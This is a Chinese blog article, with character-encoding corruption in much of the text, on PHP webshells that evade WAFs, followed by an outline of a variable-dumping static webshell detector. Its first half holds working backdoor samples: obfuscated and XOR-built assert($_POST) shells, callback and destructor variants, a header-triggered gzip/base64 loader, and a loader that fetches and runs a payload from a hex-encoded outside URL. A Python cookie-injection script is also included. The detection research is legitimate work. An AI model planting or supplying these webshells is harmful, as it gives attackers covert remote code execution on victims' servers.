前言
之前在Webshell查殺的新思路中留了一個(gè)坑 ️,當(dāng)時(shí)沒有找到具體找到全部變量的方法,后來通過學(xué)習(xí)找到了個(gè)打印全部量的方法,并再次學(xué)習(xí)了下PHP webshell繞過WAF的方法,以此來驗(yàn)證下此方法是否合理。
如有錯(cuò)誤,還請(qǐng)指出,不勝感激! :turtle:拜
在那篇文章中我突然想到一種檢測(cè)webshell的方法,就是首先獲取到當(dāng)前文件中的所有變量(不明白的可以先去看下之前的文章),然后再根據(jù)正則庫(kù)進(jìn)行靜態(tài)檢測(cè)。
自認(rèn)為這種方法雖然會(huì)檢測(cè)不完全(每個(gè)檢測(cè)機(jī)制都不能保障全部有效),但是感覺非常簡(jiǎn)單、實(shí)用,也沒那么多高深的道理。
為了驗(yàn)證該檢測(cè)機(jī)制,首先了解下目前PHP webshell繞過WAF的方法。
常見繞過WAF的PHP webshell
字符串變形
大小寫、編碼、截取、替換、特殊字符拼接、null、回車、換行、特殊字符串干擾
?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>
ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()
自寫函數(shù)
利用 assert()
?php
function test($a){
$a($_POST['x']);
}
test(assert);
?>
回調(diào)函數(shù)
?php
call_user_func(assert,array($_POST[x]));
?>
call_user_func_array()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
forward_static_call_array()
類
利用魔術(shù)方法、析構(gòu)函數(shù) __destruct() , __construct()
?php
class test
{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new test;
$b->a = $_POST['x'];
?>
利用外部文件
利用 curl , fsockopen 等發(fā)起網(wǎng)絡(luò)請(qǐng)求再結(jié)合 file_get_contents
?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>
無字符特征馬
編碼、異或、自增
?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>
特殊請(qǐng)求頭
利用 getallheaders()
?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
$cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>
全局變量
利用 getenv() , arrag_flip() , get_defined_vars() , session_id()
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content
PHP混淆加解密
以phpjiami為例
就是將函數(shù)名、變量名全部變成”亂碼”,且改動(dòng)任意一個(gè)地方,都將導(dǎo)致文件不能運(yùn)行。具體可訪問: https://www.phpjiami.com/
PHP webshell檢測(cè)方法
目前我所了解的webshell檢測(cè)方式有:
- 機(jī)器學(xué)習(xí)檢測(cè)webshell:比如混淆度、最長(zhǎng)單詞、重合指數(shù)、特征、壓縮比等
- 動(dòng)態(tài)檢測(cè)(沙箱)
- 基于流量模式檢測(cè)webshell:agent
- 逆向算法+靜態(tài)匹配檢測(cè)webshell:比如D盾webshell查殺
- 根據(jù)文件入度出度來檢測(cè)
實(shí)例展示
這里以PHPjiami的webshell為例,其中 2.php 即為phpjiama的木馬
可以明顯看到明顯的webshell規(guī)則了,這樣再用靜態(tài)規(guī)則、正則等即可輕松檢測(cè)到。
簡(jiǎn)單檢測(cè)思路
檢測(cè)思路:
文件上傳->文件包含->獲取所有文件中的變量到臨時(shí)文件中->靜態(tài)規(guī)則匹配臨時(shí)文件->返回匹配結(jié)果
├── __init__.py
├── conf
│ ├── __init__.py
│ ├── config.py
├── core
│ ├── __init__.py
│ ├── all_check.py
│ ├── data_mysql.py
│ └── file_inotify.py
├── lib
│ ├── __init__.py
│ └── semantic_analysis_api.py
├── test
│ ├── __init__.py
│ ├── file_md5_move.py
│ ├── os_check.py
│ ├── random_file_test.py
│ └── ...
├── web
│ ├── static
│ │ ├── css
│ │ │ ├── main.css
│ │ ├── images
│ │ │ └── background.jpg
│ │ └── js
│ │ └── upload.js
│ ├── templates
│ │ ├── index.html
│ ├── upload_file.php
│ └── include_file_to_tmp.php
├── webshell_check.py
conf中包含的是諸如下列的靜態(tài)檢測(cè)規(guī)則
總結(jié)
以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,謝謝大家對(duì)腳本之家的支持。
您可能感興趣的文章:- PHP實(shí)現(xiàn)webshell掃描文件木馬的方法
- 一個(gè)ASP.Net下的WebShell實(shí)例
- php木馬webshell掃描器代碼
- 精確查找PHP WEBSHELL木馬 修正版
- 精確查找PHP WEBSHELL木馬的方法(1)
- Webshell基礎(chǔ)知識(shí)深入講解